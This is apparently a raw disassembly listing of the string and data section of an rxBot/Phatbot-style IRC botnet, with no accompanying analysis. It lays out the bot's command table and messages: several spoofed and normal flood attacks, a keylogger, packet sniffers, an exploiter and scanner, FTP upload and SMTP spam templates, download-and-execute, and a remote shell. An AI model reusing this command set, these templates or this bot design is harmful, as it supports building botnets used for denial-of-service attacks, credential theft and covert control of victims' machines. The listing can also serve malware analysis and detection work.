db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_43146C db 2Dh ; - ; DATA XREF: .nsp0:00407382o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: .nsp0:00407369o
aSS_3 db '-s:%s',0 ; DATA XREF: .nsp0:00407352o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: .nsp0:00407332o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: .nsp0:0040730Eo
; .nsp0:00412263o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: .nsp0:004072FDo
align 4
unk_4314DC db 2Dh ; - ; DATA XREF: .nsp0:004072A4o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
unk_4314FC db 2Dh ; - ; DATA XREF: .nsp0:0040724Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_43153C db 2Dh ; - ; DATA XREF: .nsp0:004071EEo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_431574 db 2Dh ; - ; DATA XREF: .nsp0:00407183o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_4315BC db 2Dh ; - ; DATA XREF: .nsp0:004070D5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_4315F0 db 2Dh ; - ; DATA XREF: .nsp0:004070A1o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_431624 db 2Dh ; - ; DATA XREF: .nsp0:0040707Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_43165C db 2Dh ; - ; DATA XREF: .nsp0:00406FDBo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:00406FBEo
align 10h
unk_4316B0 db 2Dh ; - ; DATA XREF: .nsp0:00406FA9o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_4316E8 db 2Dh ; - ; DATA XREF: .nsp0:00406F3Ao
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_431730 db 2Dh ; - ; DATA XREF: .nsp0:loc_406E8Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_431768 db 2Dh ; - ; DATA XREF: .nsp0:00406E76o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_4317A0 db 2Dh ; - ; DATA XREF: .nsp0:00406DFCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: .nsp0:00406DECo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: .nsp0:00406DE5o
unk_4317E4 db 2Dh ; - ; DATA XREF: .nsp0:00406D50o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aAck db 'ack',0 ; DATA XREF: .nsp0:00406D29o
aHcon db 'hcon',0 ; DATA XREF: .nsp0:00406CB3o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: .nsp0:00406CA0o
unk_431824 db 2Dh ; - ; DATA XREF: .nsp0:00406C51o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: .nsp0:00406BDDo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aUsa db 'usa',0 ; DATA XREF: .nsp0:00406ADBo
aTcpflood db 'tcpflood',0 ; DATA XREF: .nsp0:00406AC4o
align 4
aPing_0 db 'ping',0 ; DATA XREF: .nsp0:00406A96o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: .nsp0:00406A7Fo
align 4
aNs db 'ns',0 ; DATA XREF: .nsp0:00406A68o
align 4
aNetsend db 'netsend',0 ; DATA XREF: .nsp0:00406A51o
aPu1 db 'pu1',0 ; DATA XREF: .nsp0:00406A23o
aUdpflood db 'udpflood',0 ; DATA XREF: .nsp0:00406A0Co
align 4
aAdvscan db 'advscan',0 ; DATA XREF: .nsp0:004069DEo
aPsc db 'psc',0 ; DATA XREF: .nsp0:004069C7o
aPortscan db 'portscan',0 ; DATA XREF: .nsp0:004069B0o
align 4
aC_a db 'c_a',0 ; DATA XREF: .nsp0:0040698Ao
aC_action db 'c_action',0 ; DATA XREF: .nsp0:00406973o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: .nsp0:0040695Co
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: .nsp0:00406945o
align 10h
aSc db 'sc',0 ; DATA XREF: .nsp0:0040692Eo
align 4
aScan db 'scan',0 ; DATA XREF: .nsp0:00406917o
align 4
aRd db 'rd',0 ; DATA XREF: .nsp0:00406900o
align 10h
aRedirect db 'redirect',0 ; DATA XREF: .nsp0:004068E9o
align 4
aD1 db 'd1',0 ; DATA XREF: .nsp0:004068D2o
align 10h
aDownload1 db 'download1',0 ; DATA XREF: .nsp0:004068BBo
align 4
aWonk db 'wonk',0 ; DATA XREF: .nsp0:004068A4o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: .nsp0:0040688Do
align 10h
dword_431950 dd 234032Dh, 73796B73h, 3026E79haFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_43198C dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: .nsp0:0040678Eo
align 4
aSy1 db 'sy1',0 ; DATA XREF: .nsp0:00406777o
; .nsp0:00406D11o
aSyod db 'syod',0 ; DATA XREF: .nsp0:00406760o
align 10h
unk_4319D0 db 2Dh ; - ; DATA XREF: .nsp0:00406753o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: .nsp0:0040667Co
align 4
aUsa_rm db 'usa.rm',0 ; DATA XREF: .nsp0:00406665o
align 4
aUsa_ack db 'usa.ack',0 ; DATA XREF: .nsp0:0040664Eo
aUsa_syn db 'usa.syn',0 ; DATA XREF: .nsp0:00406637o
aClone_0 db 'clone',0 ; DATA XREF: .nsp0:00406609o
align 4
aIcmp db 'icmp',0 ; DATA XREF: .nsp0:004065E0o
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: .nsp0:004065C9o
align 10h
aMv db 'mv',0 ; DATA XREF: .nsp0:004065B2o
align 4
aRename db 'rename',0 ; DATA XREF: .nsp0:0040659Bo
align 4
aFindfile db 'findfile',0 ; DATA XREF: .nsp0:0040656Do
align 4
aExecute db 'execute',0 ; DATA XREF: .nsp0:0040653Fo
aU11p db 'u11p',0 ; DATA XREF: .nsp0:00406528o
align 4
aUpdate db 'update',0 ; DATA XREF: .nsp0:00406511o
align 10h
aDe db 'de',0 ; DATA XREF: .nsp0:004064FAo
align 4
aDelay db 'delay',0 ; DATA XREF: .nsp0:004064E3o
align 4
aRp db 'rp',0 ; DATA XREF: .nsp0:004064CCo
align 10h
aRepeat db 'repeat',0 ; DATA XREF: .nsp0:004064B5o
; .nsp0:0040862Co
align 4
aTsn db 'tsn',0 ; DATA XREF: .nsp0:0040649Eo
aTsunami db 'tsunami',0 ; DATA XREF: .nsp0:00406487o
aT3 db 't3',0 ; DATA XREF: .nsp0:00406470o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: .nsp0:00406459o
align 10h
aC_p db 'c_p',0 ; DATA XREF: .nsp0:00406442o
aC_part db 'c_part',0 ; DATA XREF: .nsp0:0040642Bo
align 4
aC_j db 'c_j',0 ; DATA XREF: .nsp0:00406414o
aC_join db 'c_join',0 ; DATA XREF: .nsp0:004063FDo
align 4
aC_n db 'c_n',0 ; DATA XREF: .nsp0:004063E6o
aC_nick db 'c_nick',0 ; DATA XREF: .nsp0:004063CFo
align 4
aC_m db 'c_m',0 ; DATA XREF: .nsp0:004063B8o
aC_mode db 'c_mode',0 ; DATA XREF: .nsp0:004063A1o
align 10h
aC_r db 'c_r',0 ; DATA XREF: .nsp0:0040638Ao
aC_raw db 'c_raw',0 ; DATA XREF: .nsp0:00406373o
align 4
aCy db 'cy',0 ; DATA XREF: .nsp0:0040632Eo
align 10h
aCycle db 'cycle',0 ; DATA XREF: .nsp0:00406317o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: .nsp0:004062BBo
aAddalias db 'addalias',0 ; DATA XREF: .nsp0:0040628Do
align 4
aKl db 'kl',0 ; DATA XREF: .nsp0:00406276o
align 10h
aKilllog db 'killlog',0 ; DATA XREF: .nsp0:0040625Fo
aGh db 'gh',0 ; DATA XREF: .nsp0:00406236o
align 4
aGethost db 'gethost',0 ; DATA XREF: .nsp0:00406221o
aCap db 'cap',0 ; DATA XREF: .nsp0:0040620Co
unk_431B28 db 2Dh ; - ; DATA XREF: .nsp0:loc_4061ECo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_431B44 db 2Dh ; - ; DATA XREF: .nsp0:loc_4061E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: .nsp0:004061A0o
; sub_409A6D+5F0o
align 10h
unk_431B70 db 2Dh ; - ; DATA XREF: .nsp0:loc_406193o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 10h
unk_431B90 db 2Dh ; - ; DATA XREF: .nsp0:00406189o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
aUser db 'user',0 ; DATA XREF: .nsp0:004060FFo
align 4
unk_431BB8 db 2Dh ; - ; DATA XREF: .nsp0:loc_4060F2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_431BD8 db 2Dh ; - ; DATA XREF: .nsp0:004060E8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: .nsp0:00406085o
align 4
aPause db 'pause',0 ; DATA XREF: .nsp0:00406031o
align 4
aStop db 'stop',0 ; DATA XREF: .nsp0:00406017o
align 4
unk_431C14 db 2Dh ; - ; DATA XREF: .nsp0:loc_40600Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_431C34 db 2Dh ; - ; DATA XREF: .nsp0:00406000o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
unk_431C58 db 2Dh ; - ; DATA XREF: .nsp0:00405F7Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_431C90 dd 234032Dh, 6C79656Bh, 302676FhaFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_431CCC dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerActiv db '- Key logger active.',0
align 10h
dword_431CF0 dd 234032Dh, 6C79656Bh, 302676FhaAlreadyRunning db '- Already running.',0
align 10h
dword_431D10 dd 234032Dh, 6C79656Bh, 302676FhaNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_431D3C dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aKeylog db 'keylog',0 ; DATA XREF: .nsp0:00405DE0o
align 10h
unk_431D80 db 2Dh ; - ; DATA XREF: .nsp0:loc_405DD5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_431DB0 db 2Dh ; - ; DATA XREF: .nsp0:00405DCBo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_431DF0 db 2Dh ; - ; DATA XREF: .nsp0:00405D9Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0
unk_431E2C db 2Dh ; - ; DATA XREF: .nsp0:00405D2Co
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_431E5C db 2Dh ; - ; DATA XREF: .nsp0:00405CC8o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: .nsp0:00405C91o
dword_431E84 dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0
align 10h
dword_431EB0 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_431EEC dd 234032Dh, 696E7370h, 3026666haFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_431F28 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_431F58 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: .nsp0:00405B59o
; .nsp0:00405CA8o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: .nsp0:00405B42o
align 4
aRf db 'rf',0 ; DATA XREF: .nsp0:00405B2Do
align 4
aReadfile db 'readfile',0 ; DATA XREF: .nsp0:00405B18o
align 4
aCm db 'cm',0 ; DATA XREF: .nsp0:00405B03o
align 4
aCmd db 'cmd',0 ; DATA XREF: .nsp0:00405AEEo
aMirccmd db 'mirccmd',0 ; DATA XREF: .nsp0:00405AC4o
aVisit db 'visit',0 ; DATA XREF: .nsp0:00405A9Ao
align 4
aLi db 'li',0 ; DATA XREF: .nsp0:00405A85o
align 10h
aList db 'list',0 ; DATA XREF: .nsp0:00405A70o
align 4
aGt db 'gt',0 ; DATA XREF: .nsp0:00405A5Bo
align 4
aDel db 'del',0 ; DATA XREF: .nsp0:00405A31o
aDelete db 'delete',0 ; DATA XREF: .nsp0:00405A1Co
; .nsp0:00406068o
align 4
aKi db 'ki',0 ; DATA XREF: .nsp0:00405A07o
align 4
aKp db 'kp',0 ; DATA XREF: .nsp0:004059DDo
align 10h
aKillproc db 'killproc',0 ; DATA XREF: .nsp0:004059C8o
align 4
aDn db 'dn',0 ; DATA XREF: .nsp0:004059B3o
align 10h
aDns db 'dns',0 ; DATA XREF: .nsp0:0040599Eo
aSe db 'se',0 ; DATA XREF: .nsp0:00405989o
align 4
aPr db 'pr',0 ; DATA XREF: .nsp0:00405935o
align 4
aPrefix db 'prefix',0 ; DATA XREF: .nsp0:00405920o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: .nsp0:0040590Bo
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: .nsp0:004058F6o
align 4
aC_q db 'c_q',0 ; DATA XREF: .nsp0:004058E1o
aC_quit db 'c_quit',0 ; DATA XREF: .nsp0:004058CCo
align 4
aKillthread db 'killthread',0 ; DATA XREF: .nsp0:004058A2o
align 10h
aRaw db 'raw',0 ; DATA XREF: .nsp0:00405878o
aPt db 'pt',0 ; DATA XREF: .nsp0:00405863o
align 4
unk_432028 db 2Dh ; - ; DATA XREF: .nsp0:004057DBo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: .nsp0:00405777o
aRegister db 'register',0 ; DATA XREF: .nsp0:0040574Eo
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: .nsp0:004056F5o
align 4
aMix db 'mix',0 ; DATA XREF: .nsp0:0040562Bo
dword_432088 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: .nsp0:004055D7o
; .nsp0:0040560Eo
dd 0
dword_4320A0 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: .nsp0:004055A0o
dd 1
dword_4320B8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: .nsp0:00405569o
; .nsp0:0040567Do
aCtcp db 'ctcp',0 ; DATA XREF: .nsp0:00405517o
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: .nsp0:00405482o
; .nsp0:004054BEo ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: .nsp0:0040542Bo
align 4
aMsg db 'msg',0 ; DATA XREF: .nsp0:0040533Fo
aChgnick db 'chgnick',0 ; DATA XREF: .nsp0:004052F9o
aNick_0 db 'nick',0 ; DATA XREF: .nsp0:004051FCo
; .nsp0:004057FAo
align 10h
dword_432100 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: .nsp0:004051DFo
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_432128 dd 636364h dword_43212C dd 6E696F6Ah, 7261702Fh, 74hdword_432138 dd 4B43494Eh, 732520h ; .nsp0:00405256o ...
dword_432140 dd 69257325h, 0 ; sub_40AC10+4Eo ...
aPnick db 'pnick',0 ; DATA XREF: .nsp0:00404FA6o
align 10h
aPartSS db 'part %s %s',0 ; DATA XREF: .nsp0:00404F89o
; .nsp0:00405072o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: .nsp0:00404F62o
align 4
aPartS db 'part %s',0 ; DATA XREF: .nsp0:00404F45o
aPart_0 db 'part',0 ; DATA XREF: .nsp0:00404F23o
; .nsp0:0040584Eo
align 4
aJoinS db 'join %s',0 ; DATA XREF: .nsp0:00404F06o
; .nsp0:00405049o ...
aJoin db 'join',0 ; DATA XREF: .nsp0:00404EE4o
; .nsp0:00405824o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: .nsp0:00404EC7o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: .nsp0:00404E5Eo
align 4
aNt db 'nt',0 ; DATA XREF: .nsp0:00404E12o
align 4
dword_4321A8 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0dword_4321BC dd 7463h dword_4321C0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; .nsp0:00405396o ...
dword_4321D0 dd 5Fh ; .nsp0:00404DC9o ...
dword_4321D4 dd 6D70h ; .nsp0:004062D2o
unk_4321D8 db 2Dh ; - ; DATA XREF: .nsp0:00404D0Eo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aFlood db 'flood',0 ; DATA XREF: .nsp0:00404C91o
align 4
aRinms db 'rinms',0 ; DATA XREF: .nsp0:00404C7Ao
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: .nsp0:00404C65o
aRin db 'rin',0 ; DATA XREF: .nsp0:00404C50o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: .nsp0:00404C3Bo
align 4
unk_432238 db 2Dh ; - ; DATA XREF: .nsp0:00404C30o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_432278 db 2Dh ; - ; DATA XREF: .nsp0:00404BBEo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: .nsp0:00404B41o
unk_4322B0 db 2Dh ; - ; DATA XREF: .nsp0:00404B23o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_4322DC db 2Dh ; - ; DATA XREF: .nsp0:00404AF9o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: .nsp0:00404AC1o
align 4
unk_43231C db 2Dh ; - ; DATA XREF: .nsp0:00404A68o
; .nsp0:00404AD9o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: .nsp0:loc_404A46o
; .nsp0:00405A46o
unk_432358 db 2Dh ; - ; DATA XREF: .nsp0:004049D4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_432384 db 2Dh ; - ; DATA XREF: .nsp0:004049C9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 10h
dword_4323B0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325hunk_4323C0 db 2Dh ; - ; DATA XREF: .nsp0:loc_404965o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_432470 dd 234032Dh, 75636573h, 3026572haFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_4324AC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: .nsp0:004048C8o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: .nsp0:004048C2o
align 4
aSecuring db 'Securing',0 ; DATA XREF: .nsp0:004048BBo
align 10h
unk_4324E0 db 2Dh ; - ; DATA XREF: .nsp0:00404844o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_432520 db 2Dh ; - ; DATA XREF: .nsp0:004047C0o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_43254C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_432588 dd 234032Dh, 6B636F73h, 3023473h ; .nsp0:00411877o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_4325B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_4325C0 dd 646E6946h, 6C696620h, 65hdword_4325CC dd 234032Dh, 636F7270h, 2D030273h, 0dword_4325DC dd 636F7250h, 20737365h, 7473696Ch, 0dword_4325EC dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: .nsp0:0040458Co
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40457Fo
; .nsp0:loc_4096E5o ...
align 10h
dword_432620 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: .nsp0:0040456Ao
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40455Do
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_404547o
; .nsp0:004094C4o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00404535o
align 10h
unk_432670 db 2Dh ; - ; DATA XREF: .nsp0:004044E9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_43269C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: .nsp0:004044ABo
dd 2E7325h
unk_4326B4 db 2Dh ; - ; DATA XREF: .nsp0:00404496o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0
align 10h
dword_4326F0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: .nsp0:00404427o
dd 65726874h, 2E736461h, 0
dword_432710 dd 627573h dword_432714 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: .nsp0:004043AFo
dd 2E7473h
unk_43272C db 2Dh ; - ; DATA XREF: .nsp0:00404394o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0
dword_432764 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: .nsp0:00404307o
dd 2E676Fh
dword_43277C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: .nsp0:00404283o
dd 6F666E49h, 2Eh
dword_432798 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: .nsp0:00404254o
dd 2E6F666Eh, 0
dword_4327B4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: .nsp0:004041FFo
dd 746F4220h, 2Eh
unk_4327D0 db 2Dh ; - ; DATA XREF: .nsp0:004041E3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_43280C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: .nsp0:0040416Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: .nsp0:0040414Eo
align 10h
unk_432830 db 2Dh ; - ; DATA XREF: .nsp0:004040ECo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 10h
dword_432850 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0
dword_432870 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: .nsp0:00404074o
dd 2E7325h
unk_432888 db 2Dh ; - ; DATA XREF: .nsp0:loc_403FE5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
